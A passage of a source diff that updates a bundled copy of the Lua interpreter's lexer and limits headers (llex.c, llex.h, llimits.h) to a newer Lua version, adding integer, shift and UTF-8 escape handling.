&&L_OP_ADDK, + &&L_OP_SUBK, + &&L_OP_MULK, + &&L_OP_MODK, + &&L_OP_POWK, + &&L_OP_DIVK, + &&L_OP_IDIVK, + &&L_OP_BANDK, + &&L_OP_BORK, + &&L_OP_BXORK, + &&L_OP_SHRI, + &&L_OP_SHLI, + &&L_OP_ADD, + &&L_OP_SUB, + &&L_OP_MUL, + &&L_OP_MOD, + &&L_OP_POW, + &&L_OP_DIV, + &&L_OP_IDIV, + &&L_OP_BAND, + &&L_OP_BOR, + &&L_OP_BXOR, + &&L_OP_SHL, + &&L_OP_SHR, + &&L_OP_MMBIN, + &&L_OP_MMBINI, + &&L_OP_MMBINK, + &&L_OP_UNM, + &&L_OP_BNOT, + &&L_OP_NOT, + &&L_OP_LEN, + &&L_OP_CONCAT, + &&L_OP_CLOSE, + &&L_OP_TBC, + &&L_OP_JMP, + &&L_OP_EQ, + &&L_OP_LT, + &&L_OP_LE, + &&L_OP_EQK, + &&L_OP_EQI, + &&L_OP_LTI, + &&L_OP_LEI, + &&L_OP_GTI, + &&L_OP_GEI, + &&L_OP_TEST, + &&L_OP_TESTSET, + &&L_OP_CALL, + &&L_OP_TAILCALL, + &&L_OP_RETURN, + &&L_OP_RETURN0, + &&L_OP_RETURN1, + &&L_OP_FORLOOP, + &&L_OP_FORPREP, + &&L_OP_TFORPREP, + &&L_OP_TFORCALL, + &&L_OP_TFORLOOP, + &&L_OP_SETLIST, + &&L_OP_CLOSURE, + &&L_OP_VARARG, + &&L_OP_VARARGPREP, + &&L_OP_EXTRAARG + +}; diff --git a/client/deps/liblua/llex.c b/client/deps/liblua/llex.c index bc09ea4dd..4bfbed097 100644 --- a/client/deps/liblua/llex.c +++ b/client/deps/liblua/llex.c @@ -1,20 +1,24 @@ /* -** $Id: llex.c,v 2.63.1.2 2013/08/30 15:49:41 roberto Exp roberto $ +** $Id: llex.c $ ** Lexical Analyzer ** See Copyright Notice in lua.h */ +#define llex_c +#define LUA_CORE + +#include "lprefix.h" + #include #include -#define llex_c -#define LUA_CORE - #include "lua.h" #include "lctype.h" +#include "ldebug.h" #include "ldo.h" +#include "lgc.h" #include "llex.h" #include "lobject.h" #include "lparser.h" @@ -25,11 +29,11 @@ -#define next(ls) (ls->current = zgetc(ls->z)) +#define next(ls) (ls->current = zgetc(ls->z)) -#define currIsNewline(ls) (ls->current == '\n' || ls->current == '\r') +#define currIsNewline(ls) (ls->current == '\n' || ls->current == '\r') /* ORDER RESERVED */ @@ -38,8 +42,9 @@ static const char *const luaX_tokens [] = { "end", "false", "for", "function", "goto", "if", "in", "local", "nil", "not", "or", "repeat", "return", "then", "true", "until", "while", - "..", "...", "==", ">=", "<=", "~=", "::", "", - "", "", "" + "//", "..", "...", "==", ">=", "<=", "~=", + "<<", ">>", "::", "", + "", "", "", "" }; @@ -53,34 +58,37 @@ static void save(LexState *ls, int c) { Mbuffer *b = ls->buff; if (luaZ_bufflen(b) + 1 > luaZ_sizebuffer(b)) { size_t newsize; - if (luaZ_sizebuffer(b) >= MAX_SIZET / 2) + if (luaZ_sizebuffer(b) >= MAX_SIZE / 2) lexerror(ls, "lexical element too long", 0); newsize = luaZ_sizebuffer(b) * 2; luaZ_resizebuffer(ls->L, b, newsize); } - b->buffer[luaZ_bufflen(b)++] = cast(char, c); + b->buffer[luaZ_bufflen(b)++] = cast_char(c); } void luaX_init(lua_State *L) { int i; + TString *e = luaS_newliteral(L, LUA_ENV); /* create env name */ + luaC_fix(L, obj2gco(e)); /* never collect this name */ for (i = 0; i < NUM_RESERVED; i++) { TString *ts = luaS_new(L, luaX_tokens[i]); - luaS_fix(ts); /* reserved words are never collected */ - ts->tsv.extra = cast_byte(i + 1); /* reserved word */ + luaC_fix(L, obj2gco(ts)); /* reserved words are never collected */ + ts->extra = cast_byte(i + 1); /* reserved word */ } } const char *luaX_token2str(LexState *ls, int token) { if (token < FIRST_RESERVED) { /* single-byte symbols? */ - lua_assert(token == cast(unsigned char, token)); - return (lisprint(token)) ? luaO_pushfstring(ls->L, LUA_QL("%c"), token) : - luaO_pushfstring(ls->L, "char(%d)", token); + if (lisprint(token)) + return luaO_pushfstring(ls->L, "'%c'", token); + else /* control character */ + return luaO_pushfstring(ls->L, "'<\\%d>'", token); } else { const char *s = luaX_tokens[token - FIRST_RESERVED]; if (token < TK_EOS) /* fixed format (symbols and reserved words)? */ - return luaO_pushfstring(ls->L, LUA_QS, s); + return luaO_pushfstring(ls->L, "'%s'", s); else /* names, strings, and numerals */ return s; } @@ -91,9 +99,10 @@ static const char *txtToken(LexState *ls, int token) { switch (token) { case TK_NAME: case TK_STRING: - case TK_NUMBER: + case TK_FLT: + case TK_INT: save(ls, '\0'); - return luaO_pushfstring(ls->L, LUA_QS, luaZ_buffer(ls->buff)); + return luaO_pushfstring(ls->L, "'%s'", luaZ_buffer(ls->buff)); default: return luaX_token2str(ls, token); } @@ -101,9 +110,7 @@ static const char *txtToken(LexState *ls, int token) { static l_noret lexerror(LexState *ls, const char *msg, int token) { - char buff[LUA_IDSIZE]; - luaO_chunkid(buff, getstr(ls->source), LUA_IDSIZE); - msg = luaO_pushfstring(ls->L, "%s:%d: %s", buff, ls->linenumber, msg); + msg = luaG_addinfo(ls->L, msg, ls->source, ls->linenumber); if (token) luaO_pushfstring(ls->L, "%s near %s", msg, txtToken(ls, token)); luaD_throw(ls->L, LUA_ERRSYNTAX); @@ -116,25 +123,29 @@ l_noret luaX_syntaxerror(LexState *ls, const char *msg) { /* -** creates a new string and anchors it in function's table so that -** it will not be collected until the end of the function's compilation -** (by that time it should be anchored in function's prototype) +** Creates a new string and anchors it in scanner's table so that it +** will not be collected until the end of the compilation; by that time +** it should be anchored somewhere. It also internalizes long strings, +** ensuring there is only one copy of each unique string. The table +** here is used as a set: the string enters as the key, while its value +** is irrelevant. We use the string itself as the value only because it +** is a TValue readily available. Later, the code generation can change +** this value. */ TString *luaX_newstring(LexState *ls, const char *str, size_t l) { lua_State *L = ls->L; - TValue *o; /* entry for `str' */ TString *ts = luaS_newlstr(L, str, l); /* create new string */ - setsvalue2s(L, L->top++, ts); /* temporarily anchor it in stack */ - o = luaH_set(L, ls->fs->h, L->top - 1); - if (ttisnil(o)) { /* not in use yet? (see 'addK') */ - /* boolean value does not need GC barrier; - table has no metatable, so it does not need to invalidate cache */ - setbvalue(o, 1); /* t[string] = true */ + const TValue *o = luaH_getstr(ls->h, ts); + if (!ttisnil(o)) /* string already present? */ + ts = keystrval(nodefromval(o)); /* get saved copy */ + else { /* not in use yet */ + TValue *stv = s2v(L->top.p++); /* reserve stack space for string */ + setsvalue(L, stv, ts); /* temporarily anchor the string */ + luaH_finishset(L, ls->h, stv, o, stv); /* t[string] = string */ + /* table is not a metatable, so it does not need to invalidate cache */ luaC_checkGC(L); - } else { /* string already present */ - ts = rawtsvalue(keyfromval(o)); /* re-use value previously stored */ + L->top.p--; /* remove string from stack */ } - L->top--; /* remove string from stack */ return ts; } @@ -146,9 +157,9 @@ TString *luaX_newstring(LexState *ls, const char *str, size_t l) { static void inclinenumber(LexState *ls) { int old = ls->current; lua_assert(currIsNewline(ls)); - next(ls); /* skip `\n' or `\r' */ + next(ls); /* skip '\n' or '\r' */ if (currIsNewline(ls) && ls->current != old) - next(ls); /* skip `\n\r' or `\r\n' */ + next(ls); /* skip '\n\r' or '\r\n' */ if (++ls->linenumber >= MAX_INT) lexerror(ls, "chunk has too many lines", 0); } @@ -156,7 +167,7 @@ static void inclinenumber(LexState *ls) { void luaX_setinput(lua_State *L, LexState *ls, ZIO *z, TString *source, int firstchar) { - ls->decpoint = '.'; + ls->t.token = 0; ls->L = L; ls->current = firstchar; ls->lookahead.token = TK_EOS; /* no look-ahead token */ @@ -165,8 +176,7 @@ void luaX_setinput(lua_State *L, LexState *ls, ZIO *z, TString *source, ls->linenumber = 1; ls->lastline = 1; ls->source = source; - ls->envn = luaS_new(L, LUA_ENV); /* create env name */ - luaS_fix(ls->envn); /* never collect this name */ + ls->envn = luaS_newliteral(L, LUA_ENV); /* get env name */ luaZ_resizebuffer(ls->L, ls->buff, LUA_MINBUFFER); /* initialize buffer */ } @@ -179,83 +189,79 @@ void luaX_setinput(lua_State *L, LexState *ls, ZIO *z, TString *source, */ - -static int check_next(LexState *ls, const char *set) { - if (ls->current == '\0' || !strchr(set, ls->current)) - return 0; - save_and_next(ls); - return 1; +static int check_next1(LexState *ls, int c) { + if (ls->current == c) { + next(ls); + return 1; + } else return 0; } /* -** change all characters 'from' in buffer to 'to' +** Check whether current char is in set 'set' (with two chars) and +** saves it */ -static void buffreplace(LexState *ls, char from, char to) { - size_t n = luaZ_bufflen(ls->buff); - char *p = luaZ_buffer(ls->buff); - while (n--) - if (p[n] == from) p[n] = to; -} - - -#if defined(ANDROID) -#define getlocaldecpoint() '.' -#elif !defined(getlocaledecpoint) -#define getlocaledecpoint() (localeconv()->decimal_point[0]) -#endif - - -#define buff2d(b,e) luaO_str2d(luaZ_buffer(b), luaZ_bufflen(b) - 1, e) - -/* -** in case of format error, try to change decimal point separator to -** the one defined in the current locale and check again -*/ -static void trydecpoint(LexState *ls, SemInfo *seminfo) { - char old = ls->decpoint; - ls->decpoint = getlocaledecpoint(); - buffreplace(ls, old, ls->decpoint); /* try new decimal separator */ - if (!buff2d(ls->buff, &seminfo->r)) { - /* format error with correct decimal point: no more options */ - buffreplace(ls, ls->decpoint, '.'); /* undo change (for error message) */ - lexerror(ls, "malformed number", TK_NUMBER); - } +static int check_next2(LexState *ls, const char *set) { + lua_assert(set[2] == '\0'); + if (ls->current == set[0] || ls->current == set[1]) { + save_and_next(ls); + return 1; + } else return 0; } /* LUA_NUMBER */ /* -** this function is quite liberal in what it accepts, as 'luaO_str2d' -** will reject ill-formed numerals. +** This function is quite liberal in what it accepts, as 'luaO_str2num' +** will reject ill-formed numerals. Roughly, it accepts the following +** pattern: +** +** %d(%x|%.|([Ee][+-]?))* | 0[Xx](%x|%.|([Pp][+-]?))* +** +** The only tricky part is to accept [+-] only after a valid exponent +** mark, to avoid reading '3-4' or '0xe+1' as a single number. +** +** The caller might have already read an initial dot. */ -static void read_numeral(LexState *ls, SemInfo *seminfo) { +static int read_numeral(LexState *ls, SemInfo *seminfo) { + TValue obj; const char *expo = "Ee"; int first = ls->current; lua_assert(lisdigit(ls->current)); save_and_next(ls); - if (first == '0' && check_next(ls, "Xx")) /* hexadecimal? */ + if (first == '0' && check_next2(ls, "xX")) /* hexadecimal? */ expo = "Pp"; for (;;) { - if (check_next(ls, expo)) /* exponent part? */ - check_next(ls, "+-"); /* optional exponent sign */ - if (lisxdigit(ls->current) || ls->current == '.') + if (check_next2(ls, expo)) /* exponent mark? */ + check_next2(ls, "-+"); /* optional exponent sign */ + else if (lisxdigit(ls->current) || ls->current == '.') /* '%x|%.' */ save_and_next(ls); - else break; + else break; } + if (lislalpha(ls->current)) /* is numeral touching a letter? */ + save_and_next(ls); /* force an error */ save(ls, '\0'); - buffreplace(ls, '.', ls->decpoint); /* follow locale for decimal point */ - if (!buff2d(ls->buff, &seminfo->r)) /* format error? */ - trydecpoint(ls, seminfo); /* try to update decimal point separator */ + if (luaO_str2num(luaZ_buffer(ls->buff), &obj) == 0) /* format error? */ + lexerror(ls, "malformed number", TK_FLT); + if (ttisinteger(&obj)) { + seminfo->i = ivalue(&obj); + return TK_INT; + } else { + lua_assert(ttisfloat(&obj)); + seminfo->r = fltvalue(&obj); + return TK_FLT; + } } /* -** skip a sequence '[=*[' or ']=*]' and return its number of '='s or -** -1 if sequence is malformed +** read a sequence '[=*[' or ']=*]', leaving the last bracket. If +** sequence is well formed, return its number of '='s + 2; otherwise, +** return 1 if it is a single bracket (no '='s and no 2nd bracket); +** otherwise (an unfinished '[==...') return 0. */ -static int skip_sep(LexState *ls) { - int count = 0; +static size_t skip_sep(LexState *ls) { + size_t count = 0; int s = ls->current; lua_assert(s == '[' || s == ']'); save_and_next(ls); @@ -263,23 +269,29 @@ static int skip_sep(LexState *ls) { save_and_next(ls); count++; } - return (ls->current == s) ? count : (-count) - 1; + return (ls->current == s) ? count + 2 + : (count == 0) ? 1 + : 0; } -static void read_long_string(LexState *ls, SemInfo *seminfo, int sep) { - save_and_next(ls); /* skip 2nd `[' */ +static void read_long_string(LexState *ls, SemInfo *seminfo, size_t sep) { + int line = ls->linenumber; /* initial line (for error message) */ + save_and_next(ls); /* skip 2nd '[' */ if (currIsNewline(ls)) /* string starts with a newline? */ inclinenumber(ls); /* skip it */ for (;;) { switch (ls->current) { - case EOZ: - lexerror(ls, (seminfo) ? "unfinished long string" : - "unfinished long comment", TK_EOS); + case EOZ: { /* error */ + const char *what = (seminfo ? "string" : "comment"); + const char *msg = luaO_pushfstring(ls->L, + "unfinished long %s (starting at line %d)", what, line); + lexerror(ls, msg, TK_EOS); break; /* to avoid warnings */ + } case ']': { if (skip_sep(ls) == sep) { - save_and_next(ls); /* skip 2nd `]' */ + save_and_next(ls); /* skip 2nd ']' */ goto endloop; } break; @@ -299,45 +311,70 @@ static void read_long_string(LexState *ls, SemInfo *seminfo, int sep) { } endloop: if (seminfo) - seminfo->ts = luaX_newstring(ls, luaZ_buffer(ls->buff) + (2 + sep), - luaZ_bufflen(ls->buff) - 2 * (2 + sep)); + seminfo->ts = luaX_newstring(ls, luaZ_buffer(ls->buff) + sep, + luaZ_bufflen(ls->buff) - 2 * sep); } -static void escerror(LexState *ls, int *c, int n, const char *msg) { - int i; - luaZ_resetbuffer(ls->buff); /* prepare error message */ - save(ls, '\\'); - for (i = 0; i < n && c[i] != EOZ; i++) - save(ls, c[i]); - lexerror(ls, msg, TK_STRING); +static void esccheck(LexState *ls, int c, const char *msg) { + if (!c) { + if (ls->current != EOZ) + save_and_next(ls); /* add current to buffer for error message */ + lexerror(ls, msg, TK_STRING); + } +} + + +static int gethexa(LexState *ls) { + save_and_next(ls); + esccheck(ls, lisxdigit(ls->current), "hexadecimal digit expected"); + return luaO_hexavalue(ls->current); } static int readhexaesc(LexState *ls) { - int c[3], i; /* keep input for error message */ - int r = 0; /* result accumulator */ - c[0] = 'x'; /* for error message */ - for (i = 1; i < 3; i++) { /* read two hexadecimal digits */ - c[i] = next(ls); - if (!lisxdigit(c[i])) - escerror(ls, c, i + 1, "hexadecimal digit expected"); - r = (r << 4) + luaO_hexavalue(c[i]); - } + int r = gethexa(ls); + r = (r << 4) + gethexa(ls); + luaZ_buffremove(ls->buff, 2); /* remove saved chars from buffer */ return r; } +static unsigned long readutf8esc(LexState *ls) { + unsigned long r; + int i = 4; /* chars to be removed: '\', 'u', '{', and first digit */ + save_and_next(ls); /* skip 'u' */ + esccheck(ls, ls->current == '{', "missing '{'"); + r = gethexa(ls); /* must have at least one digit */ + while (cast_void(save_and_next(ls)), lisxdigit(ls->current)) { + i++; + esccheck(ls, r <= (0x7FFFFFFFu >> 4), "UTF-8 value too large"); + r = (r << 4) + luaO_hexavalue(ls->current); + } + esccheck(ls, ls->current == '}', "missing '}'"); + next(ls); /* skip '}' */ + luaZ_buffremove(ls->buff, i); /* remove saved chars from buffer */ + return r; +} + + +static void utf8esc(LexState *ls) { + char buff[UTF8BUFFSZ]; + int n = luaO_utf8esc(buff, readutf8esc(ls)); + for (; n > 0; n--) /* add 'buff' to string */ + save(ls, buff[UTF8BUFFSZ - n]); +} + + static int readdecesc(LexState *ls) { - int c[3], i; + int i; int r = 0; /* result accumulator */ for (i = 0; i < 3 && lisdigit(ls->current); i++) { /* read up to 3 digits */ - c[i] = ls->current; - r = 10 * r + c[i] - '0'; - next(ls); + r = 10 * r + ls->current - '0'; + save_and_next(ls); } - if (r > UCHAR_MAX) - escerror(ls, c, i, "decimal escape too large"); + esccheck(ls, r <= UCHAR_MAX, "decimal escape too large"); + luaZ_buffremove(ls->buff, i); /* remove read digits from buffer */ return r; } @@ -355,7 +392,7 @@ static void read_string(LexState *ls, int del, SemInfo *seminfo) { break; /* to avoid warnings */ case '\\': { /* escape sequences */ int c; /* final character to be saved */ - next(ls); /* do not save the `\' */ + save_and_next(ls); /* keep '\\' for error messages */ switch (ls->current) { case 'a': c = '\a'; @@ -381,6 +418,9 @@ static void read_string(LexState *ls, int del, SemInfo *seminfo) { case 'x': c = readhexaesc(ls); goto read_save; + case 'u': + utf8esc(ls); + goto no_save; case '\n': case '\r': inclinenumber(ls); @@ -394,6 +434,7 @@ static void read_string(LexState *ls, int del, SemInfo *seminfo) { case EOZ: goto no_save; /* will raise an error next loop */ case 'z': { /* zap following span of spaces */ + luaZ_buffremove(ls->buff, 1); /* remove '\\' */ next(ls); /* skip the 'z' */ while (lisspace(ls->current)) { if (currIsNewline(ls)) inclinenumber(ls); @@ -402,17 +443,18 @@ static void read_string(LexState *ls, int del, SemInfo *seminfo) { goto no_save; } default: { - if (!lisdigit(ls->current)) - escerror(ls, &ls->current, 1, "invalid escape sequence"); - /* digital escape \ddd */ - c = readdecesc(ls); + esccheck(ls, lisdigit(ls->current), "invalid escape sequence"); + c = readdecesc(ls); /* digital escape '\ddd' */ goto only_save; } } read_save: - next(ls); /* read next character */ + next(ls); + /* go through */ only_save: - save(ls, c); /* save 'c' */ + luaZ_buffremove(ls->buff, 1); /* remove '\\' */ + save(ls, c); + /* go through */ no_save: break; } @@ -448,9 +490,9 @@ static int llex(LexState *ls, SemInfo *seminfo) { /* else is a comment */ next(ls); if (ls->current == '[') { /* long comment? */ - int sep = skip_sep(ls); - luaZ_resetbuffer(ls->buff); /* `skip_sep' may dirty the buffer */ - if (sep >= 0) { + size_t sep = skip_sep(ls); + luaZ_resetbuffer(ls->buff); /* 'skip_sep' may dirty the buffer */ + if (sep >= 2) { read_long_string(ls, NULL, sep); /* skip long comment */ luaZ_resetbuffer(ls->buff); /* previous call may dirty the buff. */ break; @@ -462,37 +504,45 @@ static int llex(LexState *ls, SemInfo *seminfo) { break; } case '[': { /* long string or simply '[' */ - int sep = skip_sep(ls); - if (sep >= 0) { + size_t sep = skip_sep(ls); + if (sep >= 2) { read_long_string(ls, seminfo, sep); return TK_STRING; - } else if (sep == -1) return '['; - else lexerror(ls, "invalid long string delimiter", TK_STRING); + } else if (sep == 0) /* '[=...' missing second bracket? */ + lexerror(ls, "invalid long string delimiter", TK_STRING); + return '['; } case '=': { next(ls); - if (ls->current != '=') return '='; - else { next(ls); return TK_EQ; } + if (check_next1(ls, '=')) return TK_EQ; /* '==' */ + else return '='; } case '<': { next(ls); - if (ls->current != '=') return '<'; - else { next(ls); return TK_LE; } + if (check_next1(ls, '=')) return TK_LE; /* '<=' */ + else if (check_next1(ls, '<')) return TK_SHL; /* '<<' */ + else return '<'; } case '>': { next(ls); - if (ls->current != '=') return '>'; - else { next(ls); return TK_GE; } + if (check_next1(ls, '=')) return TK_GE; /* '>=' */ + else if (check_next1(ls, '>')) return TK_SHR; /* '>>' */ + else return '>'; + } + case '/': { + next(ls); + if (check_next1(ls, '/')) return TK_IDIV; /* '//' */ + else return '/'; } case '~': { next(ls); - if (ls->current != '=') return '~'; - else { next(ls); return TK_NE; } + if (check_next1(ls, '=')) return TK_NE; /* '~=' */ + else return '~'; } case ':': { next(ls); - if (ls->current != ':') return ':'; - else { next(ls); return TK_DBCOLON; } + if (check_next1(ls, ':')) return TK_DBCOLON; /* '::' */ + else return ':'; } case '"': case '\'': { /* short literal strings */ @@ -501,12 +551,12 @@ static int llex(LexState *ls, SemInfo *seminfo) { } case '.': { /* '.', '..', '...', or number */ save_and_next(ls); - if (check_next(ls, ".")) { - if (check_next(ls, ".")) + if (check_next1(ls, '.')) { + if (check_next1(ls, '.')) return TK_DOTS; /* '...' */ else return TK_CONCAT; /* '..' */ } else if (!lisdigit(ls->current)) return '.'; - /* else go through */ + else return read_numeral(ls, seminfo); } case '0': case '1': @@ -518,8 +568,7 @@ static int llex(LexState *ls, SemInfo *seminfo) { case '7': case '8': case '9': { - read_numeral(ls, seminfo); - return TK_NUMBER; + return read_numeral(ls, seminfo); } case EOZ: { return TK_EOS; @@ -534,11 +583,11 @@ static int llex(LexState *ls, SemInfo *seminfo) { luaZ_bufflen(ls->buff)); seminfo->ts = ts; if (isreserved(ts)) /* reserved word? */ - return ts->tsv.extra - 1 + FIRST_RESERVED; + return ts->extra - 1 + FIRST_RESERVED; else { return TK_NAME; } - } else { /* single-char tokens (+ - / ...) */ + } else { /* single-char tokens ('+', '*', '%', '{', '}', ...) */ int c = ls->current; next(ls); return c; diff --git a/client/deps/liblua/llex.h b/client/deps/liblua/llex.h index 31eb24580..5e610ce3e 100644 --- a/client/deps/liblua/llex.h +++ b/client/deps/liblua/llex.h @@ -1,5 +1,5 @@ /* -** $Id: llex.h,v 1.72 2011/11/30 12:43:51 roberto Exp $ +** $Id: llex.h $ ** Lexical Analyzer ** See Copyright Notice in lua.h */ @@ -7,13 +7,23 @@ #ifndef llex_h #define llex_h +#include + #include "lobject.h" #include "lzio.h" -#define FIRST_RESERVED 257 +/* +** Single-char tokens (terminal symbols) are represented by their own +** numeric code. Other tokens start at the following value. +*/ +#define FIRST_RESERVED (UCHAR_MAX + 1) +#if !defined(LUA_ENV) +#define LUA_ENV "_ENV" +#endif + /* * WARNING: if you change the order of this enumeration, @@ -26,16 +36,19 @@ enum RESERVED { TK_GOTO, TK_IF, TK_IN, TK_LOCAL, TK_NIL, TK_NOT, TK_OR, TK_REPEAT, TK_RETURN, TK_THEN, TK_TRUE, TK_UNTIL, TK_WHILE, /* other terminal symbols */ - TK_CONCAT, TK_DOTS, TK_EQ, TK_GE, TK_LE, TK_NE, TK_DBCOLON, TK_EOS, - TK_NUMBER, TK_NAME, TK_STRING + TK_IDIV, TK_CONCAT, TK_DOTS, TK_EQ, TK_GE, TK_LE, TK_NE, + TK_SHL, TK_SHR, + TK_DBCOLON, TK_EOS, + TK_FLT, TK_INT, TK_NAME, TK_STRING }; /* number of reserved words */ -#define NUM_RESERVED (cast(int, TK_WHILE-FIRST_RESERVED+1)) +#define NUM_RESERVED (cast_int(TK_WHILE-FIRST_RESERVED + 1)) typedef union { lua_Number r; + lua_Integer i; TString *ts; } SemInfo; /* semantics information */ @@ -51,17 +64,17 @@ typedef struct Token { typedef struct LexState { int current; /* current character (charint) */ int linenumber; /* input line counter */ - int lastline; /* line of last token `consumed' */ + int lastline; /* line of last token 'consumed' */ Token t; /* current token */ Token lookahead; /* look ahead token */ struct FuncState *fs; /* current function (parser) */ struct lua_State *L; ZIO *z; /* input stream */ Mbuffer *buff; /* buffer for tokens */ + Table *h; /* to avoid collection/reuse strings */ struct Dyndata *dyd; /* dynamic structures used by the parser */ TString *source; /* current source name */ TString *envn; /* environment variable name */ - char decpoint; /* locale decimal point */ } LexState; diff --git a/client/deps/liblua/llimits.h b/client/deps/liblua/llimits.h index 101478284..1c826f7be 100644 --- a/client/deps/liblua/llimits.h +++ b/client/deps/liblua/llimits.h @@ -1,6 +1,6 @@ /* -** $Id: llimits.h,v 1.103 2013/02/20 14:08:56 roberto Exp $ -** Limits, basic types, and some other `installation-dependent' definitions +** $Id: llimits.h $ +** Limits, basic types, and some other 'installation-dependent' definitions ** See Copyright Notice in lua.h */ @@ -15,295 +15,366 @@ #include "lua.h" -typedef unsigned LUA_INT32 lu_int32; - +/* +** 'lu_mem' and 'l_mem' are unsigned/signed integers big enough to count +** the total memory used by Lua (in bytes). Usually, 'size_t' and +** 'ptrdiff_t' should work, but we use 'long' for 16-bit machines. +*/ +#if defined(LUAI_MEM) /* { external definitions? */ typedef LUAI_UMEM lu_mem; - typedef LUAI_MEM l_mem; +#elif LUAI_IS32INT /* }{ */ +typedef size_t lu_mem; +typedef ptrdiff_t l_mem; +#else /* 16-bit ints */ /* }{ */ +typedef unsigned long lu_mem; +typedef long l_mem; +#endif /* } */ - -/* chars used as small naturals (so that `char' is reserved for characters) */ +/* chars used as small naturals (so that 'char' is reserved for characters) */ typedef unsigned char lu_byte; +typedef signed char ls_byte; -#define MAX_SIZET ((size_t)(~(size_t)0)-2) +/* maximum value for size_t */ +#define MAX_SIZET ((size_t)(~(size_t)0)) -#define MAX_LUMEM ((lu_mem)(~(lu_mem)0)-2) - -#define MAX_LMEM ((l_mem) ((MAX_LUMEM >> 1) - 2)) +/* maximum size visible for Lua (must be representable in a lua_Integer) */ +#define MAX_SIZE (sizeof(size_t) < sizeof(lua_Integer) ? MAX_SIZET \ + : (size_t)(LUA_MAXINTEGER)) -#define MAX_INT (INT_MAX-2) /* maximum value of an int (-2 for safety) */ +#define MAX_LUMEM ((lu_mem)(~(lu_mem)0)) + +#define MAX_LMEM ((l_mem)(MAX_LUMEM >> 1)) + + +#define MAX_INT INT_MAX /* maximum value of an int */ + /* -** conversion of pointer to integer -** this is for hashing only; there is no problem if the integer -** cannot hold the whole pointer value +** floor of the log2 of the maximum signed value for integral type 't'. +** (That is, maximum 'n' such that '2^n' fits in the given signed type.) */ -#define IntPoint(p) ((unsigned int)(lu_mem)(p)) +#define log2maxs(t) (sizeof(t) * 8 - 2) +/* +** test whether an unsigned value is a power of 2 (or zero) +*/ +#define ispow2(x) (((x) & ((x) - 1)) == 0) -/* type to ensure maximum alignment */ -#if !defined(LUAI_USER_ALIGNMENT_T) -#define LUAI_USER_ALIGNMENT_T union { double u; void *s; long l; } + +/* number of chars of a literal string without the ending \0 */ +#define LL(x) (sizeof(x)/sizeof(char) - 1) + + +/* +** conversion of pointer to unsigned integer: this is for hashing only; +** there is no problem if the integer cannot hold the whole pointer +** value. (In strict ISO C this may cause undefined behavior, but no +** actual machine seems to bother.) +*/ +#if !defined(LUA_USE_C89) && defined(__STDC_VERSION__) && \ + __STDC_VERSION__ >= 199901L +#include +#if defined(UINTPTR_MAX) /* even in C99 this type is optional */ +#define L_P2I uintptr_t +#else /* no 'intptr'? */ +#define L_P2I uintmax_t /* use the largest available integer */ +#endif +#else /* C89 option */ +#define L_P2I size_t #endif -typedef LUAI_USER_ALIGNMENT_T L_Umaxalign; +#define point2uint(p) ((unsigned int)((L_P2I)(p) & UINT_MAX)) -/* result of a `usual argument conversion' over lua_Number */ + +/* types of 'usual argument conversions' for lua_Number and lua_Integer */ typedef LUAI_UACNUMBER l_uacNumber; +typedef LUAI_UACINT l_uacInt; -/* internal assertions for in-house debugging */ +/* +** Internal assertions for in-house debugging +*/ +#if defined LUAI_ASSERT +#undef NDEBUG +#include +#define lua_assert(c) assert(c) +#endif + #if defined(lua_assert) -#define check_exp(c,e) (lua_assert(c), (e)) +#define check_exp(c,e) (lua_assert(c), (e)) /* to avoid problems with conditions too long */ -#define lua_longassert(c) { if (!(c)) lua_assert(0); } +#define lua_longassert(c) ((c) ? (void)0 : lua_assert(0)) #else -#define lua_assert(c) ((void)0) -#define check_exp(c,e) (e) -#define lua_longassert(c) ((void)0) +#define lua_assert(c) ((void)0) +#define check_exp(c,e) (e) +#define lua_longassert(c) ((void)0) #endif /* ** assertion for checking API calls */ #if !defined(luai_apicheck) - -#if defined(LUA_USE_APICHECK) -#include -#define luai_apicheck(L,e) assert(e) -#else -#define luai_apicheck(L,e) lua_assert(e) +#define luai_apicheck(l,e) ((void)l, lua_assert(e)) #endif -#endif - -#define api_check(l,e,msg) luai_apicheck(l,(e) && msg) +#define api_check(l,e,msg) luai_apicheck(l,(e) && msg) +/* macro to avoid warnings about unused variables */ #if !defined(UNUSED) -#define UNUSED(x) ((void)(x)) /* to avoid warnings */ +#define UNUSED(x) ((void)(x)) #endif -#define cast(t, exp) ((t)(exp)) +/* type casts (a macro highlights casts in the code) */ +#define cast(t, exp) ((t)(exp)) -#define cast_byte(i) cast(lu_byte, (i)) -#define cast_num(i) cast(lua_Number, (i)) -#define cast_int(i) cast(int, (i)) -#define cast_uchar(i) cast(unsigned char, (i)) +#define cast_void(i) cast(void, (i)) +#define cast_voidp(i) cast(void *, (i)) +#define cast_num(i) cast(lua_Number, (i)) +#define cast_int(i) cast(int, (i)) +#define cast_uint(i) cast(unsigned int, (i)) +#define cast_byte(i) cast(lu_byte, (i)) +#define cast_uchar(i) cast(unsigned char, (i)) +#define cast_char(i) cast(char, (i)) +#define cast_charp(i) cast(char *, (i)) +#define cast_sizet(i) cast(size_t, (i)) + + +/* cast a signed lua_Integer to lua_Unsigned */ +#if !defined(l_castS2U) +#define l_castS2U(i) ((lua_Unsigned)(i)) +#endif + +/* +** cast a lua_Unsigned to a signed lua_Integer; this cast is +** not strict ISO C, but two-complement architectures should +** work fine. +*/ +#if !defined(l_castU2S) +#define l_castU2S(i) ((lua_Integer)(i)) +#endif /* ** non-return type */ +#if !defined(l_noret) + #if defined(__GNUC__) -#define l_noret void __attribute__((noreturn)) -#elif defined(_MSC_VER) -#define l_noret void __declspec(noreturn) +#define l_noret void __attribute__((noreturn)) +#elif defined(_MSC_VER) && _MSC_VER >= 1200 +#define l_noret void __declspec(noreturn) #else -#define l_noret void +#define l_noret void +#endif + #endif - /* -** maximum depth for nested C calls and syntactical nested non-terminals -** in a program. (Value must fit in an unsigned short int.) +** Inline functions */ -#if !defined(LUAI_MAXCCALLS) -#define LUAI_MAXCCALLS 200 +#if !defined(LUA_USE_C89) +#define l_inline inline +#elif defined(__GNUC__) +#define l_inline __inline__ +#else +#define l_inline /* empty */ #endif -/* -** maximum number of upvalues in a closure (both C and Lua). (Value -** must fit in an unsigned char.) -*/ -#define MAXUPVAL UCHAR_MAX +#define l_sinline static l_inline /* -** type for virtual-machine instructions +** type for virtual-machine instructions; ** must be an unsigned with (at least) 4 bytes (see details in lopcodes.h) */ -typedef lu_int32 Instruction; +#if LUAI_IS32INT +typedef unsigned int l_uint32; +#else +typedef unsigned long l_uint32; +#endif + +typedef l_uint32 Instruction; -/* maximum stack for a Lua function */ -#define MAXSTACK 250 +/* +** Maximum length for short strings, that is, strings that are +** internalized. (Cannot be smaller than 